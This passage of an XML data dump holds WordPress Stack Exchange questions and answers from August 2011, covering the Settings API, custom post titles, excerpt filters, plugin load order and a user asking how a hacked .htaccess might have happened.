actually use the URL of the full size, not the medium one.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-22T20:43:53.143" LastActivityDate="2011-08-22T20:43:53.143" CommentCount="1" />
  <row Id="26607" PostTypeId="1" AcceptedAnswerId="26612" CreationDate="2011-08-22T19:57:37.350" Score="0" ViewCount="40" Body="&lt;p&gt;I have a plugin page created with add_submenu_page. I want to add a new section there but nothing happens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page('parent', 'Foo', 'Foo', 'manage_options', 'foo-settings', 'anothercallback');&#xA;add_settings_section('foo-settings-section', 'Settings', 'acallback', 'foo-settings');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the right call to use it in a custom page? Do you have a complete example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8116" LastEditorUserId="8116" LastEditorDisplayName="" LastEditDate="2011-08-22T21:17:07.143" LastActivityDate="2011-08-23T01:46:00.983" Title="Add section (add_settings_section) to a custom page (add_submenu_page)" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;admin&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="26608" PostTypeId="2" ParentId="26605" CreationDate="2011-08-22T20:05:41.113" Score="0" ViewCount="" Body="&lt;p&gt;Every attachment in a gallery has its post_parent set to the ID of the gallery post that it is attached to. So if you have two gallery posts, each with several images, then you can tell which gallery post the attachment is in (in image.php) by examining that post_parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, say you had these (numbers are the ID's of the posts):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gallery Post 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Image post 2&lt;/li&gt;&#xA;&lt;li&gt;Image post 3&lt;/li&gt;&#xA;&lt;li&gt;Image post 4&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Gallery Post 5&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Image post 6&lt;/li&gt;&#xA;&lt;li&gt;Image post 7&lt;/li&gt;&#xA;&lt;li&gt;Image post 8&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, in image.php, you get the $post in the Loop. So if I was looking at Image Post 7, then $post-&gt;post_parent would be set to 5. If I was looking at Image post 4, then $post-&gt;post_parent would be set to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that ID, I could do a get_post or something to get the post parent, or I could make a switch-case to do something different depending on the ID, or whatever. How you do it kinda depends on how exactly you're distinguishing amongst these two different galleries and what it is that you're displaying or styling differently. &lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-22T20:05:41.113" />
  <row Id="26609" PostTypeId="1" CreationDate="2011-08-22T20:28:40.537" Score="0" ViewCount="32" Body="&lt;p&gt;I'm trying to grab a custom field from a post (a video URL), run it through a javascript URL trimmer (to get YouTube video ID), and then be able to call that result (video ID) with a PHP function. I know the original one has to be in javascript, but I'm a complete n00b and have close to no idea what I'm doing. Here's what I've got so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function getID {&#xA;    get_post_meta('_videourl', true); var $url&#xA;    var youtube_id; &#xA;    youtube_id = $url.replace(/^[^v]+v.(.{11}).*/,&quot;$1&quot;); &#xA;    return youtube_id; &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the custom field I'm calling has the id '_videoURL' and I want to trim that video URL (full YouTube video url, youtube.com/watch?v=1337) to just the ID (1337).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate all help!&#xA;I have JSFiddle to just make it easier to mess with the code, you can view it here: &lt;a href=&quot;http://jsfiddle.net/E8V4S/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/E8V4S/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8117" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-08-22T20:39:21.263" LastActivityDate="2011-08-22T20:39:21.263" Title="WordPress Custom Fields + URL Trimming" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;javascript&gt;&lt;youtube&gt;" CommentCount="4" />
  <row Id="26610" PostTypeId="1" CreationDate="2011-08-22T20:42:48.200" Score="1" ViewCount="33" Body="&lt;p&gt;How do I remove RSS feeds from being listed in the HTML source? Like I want to remove the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; href=&quot;foo.com&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want to remove the RSS feeds by any means, just the automatic output in the theme. &lt;/p&gt;&#xA;" OwnerUserId="8118" LastActivityDate="2011-08-22T20:45:33.530" Title="How do I remove RSS feeds from themes?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="26611" PostTypeId="2" ParentId="26610" CreationDate="2011-08-22T20:45:33.530" Score="2" ViewCount="" Body="&lt;p&gt;If the theme is a relatively modern one, find this line of code in the functions.php file and remove it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_theme_support( 'automatic-feed-links' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's an older theme, then look in the header.php file for the code that adds those.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-22T20:45:33.530" CommentCount="1" />
  <row Id="26612" PostTypeId="2" ParentId="26607" CreationDate="2011-08-22T20:56:26.787" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;add_settings_section()&lt;/code&gt; function simply registers a form section with a certain slug with WordPress. In order to get the section and all the fields you've added to it to display on a certain menu page, you need to include the &lt;code&gt;do_settings_sections($sections-slug)&lt;/code&gt; method in the menu's callback. This is, of course, assuming you are using the Settings API, which &lt;code&gt;add_settings_section&lt;/code&gt; is part of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plugin_admin_init()&#xA;{&#xA;     //All callbacks must be valid names of functions, even if provided functions are blank&#xA;     register_setting( 'option_group', 'option_name', 'sanitize_callback' );&#xA;     add_settings_section( 'section_id', 'section_title', 'section_callback', 'section_page_type' );&#xA;     add_settings_field( 'field_id', 'field_title', 'field_callback', 'section_page_type', 'section_id' );&#xA;}&#xA;add_action( 'admin_init', 'plugin_admin_init' );&#xA;&#xA;function add_menus()&#xA;{&#xA;     add_menu_page( 'menu_page_title', 'menu_title', 'menu_capability', 'menu_slug', 'menu_callback');&#xA;     add_submenu_page( 'menu_slug', 'submenu_page_title', 'submenu_title', 'submenu_capability', 'submenu_slug', 'submenu_callback' );&#xA;}&#xA;add_action( 'admin_menu', 'add_menus' );&#xA;&#xA;function submenu_callback()&#xA;{&#xA;     ?&amp;gt;&#xA;     &amp;lt;div class='wrap'&amp;gt;&#xA;          &amp;lt;h2&amp;gt;Settings&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;form method='post' action='options.php'&amp;gt;&#xA;          &amp;lt;?php &#xA;               /* 'option_group' must match 'option_group' from register_setting call */&#xA;               settings_fields( 'option_group' );&#xA;               do_settings_section( 'section_page_type' );&#xA;          ?&amp;gt;&#xA;               &amp;lt;p class='submit'&amp;gt;&#xA;                    &amp;lt;input name='submit' type='submit' id='submit' class='button-primary' value='&amp;lt;?php _e(&quot;Save Changes&quot;) ?&amp;gt;' /&amp;gt;&#xA;               &amp;lt;/p&amp;gt;&#xA;          &amp;lt;/form&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;     &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did my best to keep all the parameter names unique, so you should be able to pick them apart and trace where they go. The Settings API gets very specific about what needs to go where, so make sure you have that all right. Also, keep in mind that I omitted all the callback functions from this example, but in reality they are necessary.&lt;/p&gt;&#xA;" OwnerUserId="7594" LastEditorUserId="7594" LastEditorDisplayName="" LastEditDate="2011-08-22T23:09:34.183" LastActivityDate="2011-08-22T23:09:34.183" CommentCount="3" />
  <row Id="26614" PostTypeId="2" ParentId="26192" CreationDate="2011-08-22T21:39:23.720" Score="0" ViewCount="" Body="&lt;p&gt;Could this be as easy as resetting the variable once we've hit the page with the query string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say something like this at the top of single.php would reset the pizza url upon hitting the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $_SESSION['pizza_url'] = $_GET['p']; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you had pretty permalinks enabled and weren't able to use the $_GET string, you could grab the query variables like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $_SESSION['pizza_url'] = get_query_var('p'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't going to get you all the way there, but I think I'm just beginning to understand your question, but I hope we can arrive at a conclusion that works for you. Keep me posted.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-08-22T21:39:23.720" CommentCount="1" />
  <row Id="26615" PostTypeId="2" ParentId="1216" CreationDate="2011-08-22T22:11:52.447" Score="0" ViewCount="" Body="&lt;p&gt;After making my self sick over this through the entire afternoon, I really cannot recommend the &quot;Admin Menu Editor&quot; plugin at this point. I was first trying to use the built in API, which itself has a number of problems. Basically it's only fit for adding entirely new things, and removing the pre-existing menus. The (AME) plugin just made things worse. It was only after I dropped it for good, then tried to force things myself for a while, and then went looking for other solutions, that I found the hooks mentioned somewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the hooks are not enough for submenus. So I will probably try the API above next (which I actually read about at the offset but thought maybe it was too much overhead ... I will see) however what I really wanted was to be able to pluck submenu items out and turn them into main menus or move them into other main menus, and rename/reorder things if I wanted. Basically what the plugin promised, but really could not functionally deliver for 3.1. The plugin also seemed to make localization not work at all, but there is so much interplay there it's hard to tell, and the fact that it always deferred to WP made things really impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something definitely needs to change. What was worst probably was getting the menus right, but the menu effects would not play nice. So the main/sub menu(s!) may or may not be hilighted or whatever etc because the classes are applied improperly. WordPress is the best thing going but it needs to be better able to take a back seat, since it is a tool after all.&lt;/p&gt;&#xA;" OwnerUserId="8120" LastActivityDate="2011-08-22T22:11:52.447" CommentCount="1" />
  <row Id="26616" PostTypeId="1" AcceptedAnswerId="26617" CreationDate="2011-08-22T22:15:51.863" Score="1" ViewCount="37" Body="&lt;p&gt;I'm working with custom post types to create a custom &quot;product review&quot; type. I'm customizing the UI to have fields for the &quot;Reviewer&quot;, &quot;Product&quot;, and their &quot;Review&quot;. This doesn't really require a post title though, so I've removed that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all working fine, but when I go to look at all Product Reveiws, the titles are completely unhelpful (Auto Draft, Auto Draft 2, etc.). What I want to do is automatically set the post title to be a combination of the Reviewer's name and the product they reviewed; something along the lines of &quot;John Smith, Car Radio&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a function that hooks into the save_post action, and updates the custom meta fields I have set. I figure I need to add something here to accomplish what I'm trying to do, but I'm not sure what function or process this requires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="8121" LastActivityDate="2011-08-22T22:31:14.727" Title="Automatically generate custom post title based on meta" Tags="&lt;custom-post-types&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="26617" PostTypeId="2" ParentId="26616" CreationDate="2011-08-22T22:31:14.727" Score="1" ViewCount="" Body="&lt;p&gt;Jeremy,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excellent work not just leaving it at &quot;Auto Draft&quot;. It's tricky when these types of CPTs don't have titles. Here is some code I've used to accomplish a similar task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to adjust this for your situation, but it shows you a way to get this done. In particular, you can use the &lt;code&gt;wp_insert_post_data&lt;/code&gt; filter to change the title before you add it to the database. Now, one of the biggest mistakes you can make here is filtering ALL post titles. If you are not careful to test for the right context (e.g., when you are saving and/or editing your &quot;product review&quot; CPT, you will find that ALL titles in your site get mangled. My recommendation is to make use of nonce fields in your meta boxes to detect when the right form is submitted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data', 'change_title', 99, 2);&#xA;&#xA;function change_title($data, $postarr)&#xA;{    &#xA;    // If it is our form has not been submitted, so we dont want to do anything&#xA;    if(defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) return;&#xA;&#xA;    // Verify this came from the our screen and with proper authorization because save_post can be triggered at other times&#xA;    if(!isset($_POST['my_nonce_field'])) return;&#xA;&#xA;    // If nonce is set, verify it&#xA;    if(isset($_POST['my_nonce_field']) &amp;amp;&amp;amp; !wp_verify_nonce($_POST['my_nonce_field'], plugins_url(__FILE__))) return;&#xA;&#xA;    // Get the associated term name&#xA;    foreach($_POST['tax_input']['complaint-type'] as $term) {$term_id = $term;}&#xA;&#xA;    // Get name of term&#xA;    $term = get_term_by('id', $term_id, 'complaint-type');&#xA;&#xA;    // Combine address with term&#xA;    $title = $_POST['address']['address1'].' ('.$term-&amp;gt;name.')';&#xA;    $data['post_title'] = $title;&#xA;&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't get caught up in my manipulations of the title. Just realize that you need to set &lt;code&gt;$data['post_title']&lt;/code&gt; and return &lt;code&gt;$data&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T22:31:14.727" CommentCount="3" />
  <row Id="26618" PostTypeId="1" AcceptedAnswerId="26620" CreationDate="2011-08-22T22:38:02.143" Score="0" ViewCount="31" Body="&lt;p&gt;I'm forced to use manual excerpts on a number of my posts to integrate them with a shortcode plugin. However, this is interfering with how they're being displayed on an archive page (using a page template). Is there a way to force WordPress to display an automated excerpt (ie, the first 80 words) on one page template only?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-08-22T23:08:05.323" Title="Force WordPress to NOT display the manual excerpt" Tags="&lt;template&gt;&lt;archive&gt;&lt;page-template&gt;&lt;excerpt&gt;&lt;the-excerpt&gt;" AnswerCount="2" />
  <row Id="26619" PostTypeId="2" ParentId="26618" CreationDate="2011-08-22T23:01:27.927" Score="0" ViewCount="" Body="&lt;p&gt;You could try a if statement, posting a little bit of your code would help as well.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-22T23:01:27.927" />
  <row Id="26620" PostTypeId="2" ParentId="26618" CreationDate="2011-08-22T23:08:05.323" Score="2" ViewCount="" Body="&lt;p&gt;You can utilize the &lt;code&gt;wp_trim_excerpt&lt;/code&gt; filter. In your callback function that filters the the excerpt text, you can test for the presence of a certain template; then, if that template is being used, you can go ahead and alter the excerpt in any way that you see fit. In order to determine which template is being used, see this clever solution: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10537/get-name-of-the-current-template-file&quot;&gt;get name of the current template file&lt;/a&gt;. Let me know if this helps or if you need more.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T23:08:05.323" CommentCount="3" />
  <row Id="26621" PostTypeId="2" ParentId="26537" CreationDate="2011-08-22T23:35:01.660" Score="0" ViewCount="" Body="&lt;p&gt;You can have a widget inside the plugin's .php file (and have a shared global variable which they can both use), if that's what you're asking. Here's a &lt;a href=&quot;http://abhirama.wordpress.com/2010/06/07/wordpress-plugin-and-widget-tutorial/&quot; rel=&quot;nofollow&quot;&gt;tutorial with sample code&lt;/a&gt; I stumbled upon a while back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here's a &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;list of actions run during a typical request&lt;/a&gt;, in order of execution. #2 and #10 suggest that plugins load first; not sure about functions.php.&lt;/p&gt;&#xA;" OwnerUserId="8105" LastActivityDate="2011-08-22T23:35:01.660" CommentCount="1" />
  <row Id="26622" PostTypeId="2" ParentId="26537" CreationDate="2011-08-23T00:07:49.710" Score="3" ViewCount="" Body="&lt;p&gt;The plugins are loaded right before theme (yes, I've been looking for excuse to use this):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.imgur.com/SqQQE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it is wrong to think about either as point of code execution. For most cases everything should be hooked and executed no earlier than &lt;code&gt;init&lt;/code&gt; hook. According to Codex widget registration with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_widget&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_widget()&lt;/code&gt;&lt;/a&gt; should be hooked to &lt;code&gt;widget_init&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that order of load doesn't matter for this case, you will have everything loaded by the time widget needs it in any case.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-23T00:07:49.710" CommentCount="1" />
  <row Id="26623" PostTypeId="1" AcceptedAnswerId="26634" CreationDate="2011-08-23T00:35:45.627" Score="0" ViewCount="14" Body="&lt;p&gt;I know there are a few plugins (Custom Fields Template seems to be the most popular one) that lets me insert custom fields into the new-post.php template. But I'm wondering if I can add in a few fields without using a plugin -- just as a mock-up. Do I have to go into the core?&lt;/p&gt;&#xA;" OwnerUserId="7607" LastActivityDate="2011-08-23T06:17:47.697" Title="Inserting custom fields into new-post.php without using the Custom Fields Template plugin?" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26624" PostTypeId="1" AcceptedAnswerId="26627" CreationDate="2011-08-23T01:18:47.713" Score="3" ViewCount="69" Body="&lt;p&gt;My server was hacked this weekend. By the Russians! Of the 50+ domains on my server, every single one had a hacked .htaccess file which was redirecting search results and a few other things to a russian site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that one of the many, many wordpress installs has a plugin with a security flaw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible for a security hole in one plugin to allow someone access to other sites on the same server?&lt;/li&gt;&#xA;&lt;li&gt;&#xA;What would a security flaw look like that might give someone access to the .htaccess file a directory or two above?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's possible that the issue was someone else, that Dreamhost (my host) has bigger issues. But, I'm exploring the option that it's my fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="7229" LastActivityDate="2011-08-23T02:16:20.877" Title="What does a security risk in a plugin look like?" Tags="&lt;plugins&gt;&lt;htaccess&gt;&lt;security&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26625" PostTypeId="2" ParentId="14923" CreationDate="2011-08-23T01:36:32.727" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.holoborodko.com/pavel/quicklatex/&quot; rel=&quot;nofollow&quot; title=&quot;QuickLaTeX&quot;&gt;WP QuickLaTeX&lt;/a&gt; allows native LaTeX syntax to be used directly in Wordpress posts making conversion to offline paper as easy as &quot;copy-paste&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports standard inline and displayed math environments (including AMS-LaTeX), displayed equation numbering/referencing by LaTeX rules (\label, \ref). No alien tags ([latex], or else) are required - only pure LaTeX code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides you can use your own LaTeX preamble for equations on your site (define commands and use any LaTeX extension packages from TeXLive 2011 distribution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes exchange with offline papers (and vice versa) a straightforward process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. We also support rendering of TikZ graphics directly in the post.&lt;/p&gt;&#xA;" OwnerUserId="805" LastEditorUserId="805" LastEditorDisplayName="" LastEditDate="2011-08-23T01:46:33.710" LastActivityDate="2011-08-23T01:46:33.710" />
  <row Id="26626" PostTypeId="2" ParentId="26607" CreationDate="2011-08-23T01:46:00.983" Score="0" ViewCount="" Body="&lt;p&gt;This is your problem, in your &lt;code&gt;add_submenu_page()&lt;/code&gt; callback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;settings_fields( 'option_group' );&#xA;do_settings_section( 'section_page_type' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;settings_fields()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You need to use the &lt;code&gt;$optiongroup&lt;/code&gt; parameter you passed to &lt;code&gt;register_setting()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;do_settings_sections()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The function is &lt;code&gt;do_settings_sections()&lt;/code&gt;, &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;do_settings_section()&lt;/code&gt; (note plural)&lt;/li&gt;&#xA;&lt;li&gt;You need to pass the &lt;code&gt;$pageid&lt;/code&gt; parameter you passed to &lt;code&gt;add_submenu_page()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Er, nevermind. I was responding to someone else's answer, which I misread as the actual callback function markup. The answers here may or may not apply; we still need to see the full code, including callbacks.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-23T01:46:00.983" />
  <row Id="26627" PostTypeId="2" ParentId="26624" CreationDate="2011-08-23T01:48:47.423" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Personal Opinion:&lt;/strong&gt; I had the same thing with (mt) mediatemple twice last year. They told me/us that it was a wordpress issue, but it wasn't. I heard the same from dreamhost last year. So: don't think about it too much, just remove the hack and blame your host (again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway: You could &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19696/verifying-that-i-have-fully-removed-a-wordpress-hack&quot;&gt;read this thread&lt;/a&gt;. If your DB got &quot;infected&quot;: There's also a link to the plugin I wrote to remove the inserted links from my database. Give it a try.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-23T01:48:47.423" CommentCount="1" />
  <row Id="26628" PostTypeId="1" AcceptedAnswerId="27027" CreationDate="2011-08-23T02:15:05.717" Score="0" ViewCount="20" Body="&lt;p&gt;I have a wordpress network site. I have many sites in my network. Lets say i have two subsites like wordpress.mysite.com,joomla.mysite.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user post wordpress related topic in joomla site then i would like to migrate it from joomla to wordpress. Just like stackoverflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any good multisite plugin available for this feature?.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-27T07:45:30.837" Title="Post migration from one site to another site in a network" Tags="&lt;multisite&gt;&lt;migration&gt;" AnswerCount="2" />
  <row Id="26629" PostTypeId="2" ParentId="26624" CreationDate="2011-08-23T02:16:20.877" Score="2" ViewCount="" Body="&lt;p&gt;I agree with kaiser , that MT hack was a bit of a fiasco, and often a host is not willing to spend the $$ to find the attack vector so they start laying blame around. Proprietary host systems make it hard to figure out on your own (unlike hosts that use cpanel, webmin,  phpmyadmin, etc ).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your questions:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Might be possible, but this depends more on your host configuration than any specific WordPress exploit. Compromised sites should not allow any directory traversing.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Impossible to say but my hunch is root access through a compromise on your own computer or your host.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;ps. Is this a shared host, VPS, cloud ?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-23T02:16:20.877" CommentCount="4" />
  <row Id="26631" PostTypeId="1" CreationDate="2011-08-23T03:11:29.133" Score="0" ViewCount="21" Body="&lt;p&gt;I'm using the following function to count the number of posts an author has made from a custom post type. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function count_user_posts_by_type($userid, $post_type) {&#xA;    global $wpdb;&#xA;    $where = get_posts_by_author_sql($post_type, TRUE, $userid);&#xA;    $count = $wpdb-&amp;gt;get_var( &quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts $where&quot; );&#xA;    return apply_filters('get_usernumposts', $count, $userid);&#xA;}&#xA;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To echo out the count I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo count_user_posts_by_type(wp_get_current_user()-&amp;gt;ID, 'custom_post_type_name'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From my testing it seems to count just the posts that have a &lt;code&gt;post_status&lt;/code&gt; of &lt;code&gt;publish&lt;/code&gt;. How can I modify the function so it also counts posts that are &lt;code&gt;draft&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to modify the query as follows but it seems to have no effect whatsoever:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$count = $wpdb-&amp;gt;get_var( &quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts $where AND post_status IN ('publish','draft')&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-08-23T06:24:49.643" Title="How do I modify this wpdb query to include posts that have a post_status of publish and draft?" Tags="&lt;wpdb&gt;&lt;post-status&gt;" AnswerCount="1" />
  <row Id="26632" PostTypeId="2" ParentId="26560" CreationDate="2011-08-23T03:48:40.510" Score="0" ViewCount="" Body="&lt;p&gt;Now that I have a better understanding of the issue, I would recommend using custom fields to sort your posts. You can have a custom field (e.g., &quot;order&quot;) and use it to indicate the order of your posts. You then need to use a custom query to order these posts when they are displayed. You can use a custom query like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'meta_key' =&amp;gt; 'order',&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'ASC'&#xA;);&#xA;&#xA;$custom_query = new WP_Query();&#xA;$custom_query-&amp;gt;query($args);&#xA;&#xA;if($custom_query-&amp;gt;have_posts())&#xA;{&#xA;    while($custom_query-&amp;gt;have_posts())&#xA;    {&#xA;        $custom_query-&amp;gt;the_post();&#xA;&#xA;        // Do the loop stuff&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please see the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query class page&lt;/a&gt; for more information about all of the arguments that you can use to create custom queries.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-23T03:48:40.510" CommentCount="6" />
  <row Id="26633" PostTypeId="2" ParentId="26453" CreationDate="2011-08-23T04:03:03.527" Score="0" ViewCount="" Body="&lt;p&gt;From the &lt;a href=&quot;https://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;amp;answer=115794#&quot; rel=&quot;nofollow&quot;&gt;Google AdWords site&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Google code snippet will be provided when you sign up from the Conversions page located under the Reporting tab in your AdWords account. This code snippet can successfully track conversions when placed on the conversion page(s) of your site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So simply log into your AdWords account, copy the code that is provided, and paste it in the footer.php file in your /wp-content/themes/THEMENAME folder.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-23T04:03:03.527" />
  <row Id="26634" PostTypeId="2" ParentId="26623" CreationDate="2011-08-23T06:17:47.697" Score="0" ViewCount="" Body="&lt;p&gt;This article will get you there: &lt;a href=&quot;http://andrewferguson.net/2008/09/26/using-add_meta_box/&quot; rel=&quot;nofollow&quot;&gt;http://andrewferguson.net/2008/09/26/using-add_meta_box/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-23T06:17:47.697" />
